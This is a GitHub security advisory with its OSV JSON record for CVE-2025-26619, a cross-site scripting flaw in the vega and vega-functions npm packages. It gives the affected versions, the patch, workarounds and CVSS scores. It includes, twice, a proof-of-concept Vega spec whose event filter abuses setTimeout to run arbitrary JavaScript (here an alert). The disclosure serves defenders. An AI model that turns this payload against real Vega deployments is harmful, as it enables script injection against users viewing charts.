GHSA-RCW3-WMX7-CPHR

Vulnerability from github – Published: 2025-03-27 14:12 – Updated: 2025-04-11 19:02
VLAI
Summary
Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter
Details

Impact

In vega 5.30.0 and lower, vega-functions 5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported.

Patches

Patched in vega 5.31.0 / vega-functions 5.16.0

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

  • Run vega without vega.expressionInterpreter. This mode is not the default as it is slower.
  • Using the interpreter described in CSP safe mode (Content Security Policy) prevents arbitrary Javascript from running, so users of this mode are not affected by this vulnerability.

References

  • Reported to Vega-Lite by @kprevas Nov 8 2024 in https://github.com/vega/vega-lite/issues/9469 & https://github.com/vega/vega/issues/3984

Reproduction of the error in Vega by @mattijn 

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "signals": [
    {
      "name": "inject_alert",
      "on": [
        {
          "events": [
            {
              "type": "mousedown",
              "marktype": "rect",
              "filter": ["scale(event.view.setTimeout, 'alert(\"alert\")')"]
            }
          ],
          "update": "datum"
        }
      ]
    }
  ],
  "marks": [
    {
      "type": "rect",
      "encode": {
        "update": {
          "x": {"value": 0},
          "y": {"value": 0},
          "width": {"value": 100},
          "height": {"value": 100}
        }
      }
    }
  ]
}
Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "vega"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vega-functions"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-26619"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-27T14:12:34Z",
    "nvd_published_at": "2025-03-27T14:15:52Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nIn `vega` 5.30.0 and lower,  `vega-functions` 5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported.\n\n### Patches\n\nPatched in `vega` `5.31.0`  / `vega-functions` `5.16.0`\n\n### Workarounds\n\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n- Run `vega` without `vega.expressionInterpreter`. This mode is not the default as it is slower. \n- Using the interpreter [described in CSP safe mode](https://vega.github.io/vega/usage/interpreter/) (Content Security Policy) prevents arbitrary Javascript from running, so users of this mode are not affected by this vulnerability.\n\n### References\n\n- Reported to Vega-Lite by @kprevas Nov 8 2024 in https://github.com/vega/vega-lite/issues/9469 \u0026  https://github.com/vega/vega/issues/3984\n\nReproduction of the error in Vega by @mattijn \n\n```\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v5.json\",\n  \"signals\": [\n    {\n      \"name\": \"inject_alert\",\n      \"on\": [\n        {\n          \"events\": [\n            {\n              \"type\": \"mousedown\",\n              \"marktype\": \"rect\",\n              \"filter\": [\"scale(event.view.setTimeout, \u0027alert(\\\"alert\\\")\u0027)\"]\n            }\n          ],\n          \"update\": \"datum\"\n        }\n      ]\n    }\n  ],\n  \"marks\": [\n    {\n      \"type\": \"rect\",\n      \"encode\": {\n        \"update\": {\n          \"x\": {\"value\": 0},\n          \"y\": {\"value\": 0},\n          \"width\": {\"value\": 100},\n          \"height\": {\"value\": 100}\n        }\n      }\n    }\n  ]\n}\n```",
  "id": "GHSA-rcw3-wmx7-cphr",
  "modified": "2025-04-11T19:02:04Z",
  "published": "2025-03-27T14:12:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vega/vega/security/advisories/GHSA-rcw3-wmx7-cphr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26619"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vega/vega-lite/issues/9469"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vega/vega/issues/3984"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vega/vega/commit/8fc129a6f8a11e96449c4ac0f63de0e5bfc7254c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vega/vega"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter"
}



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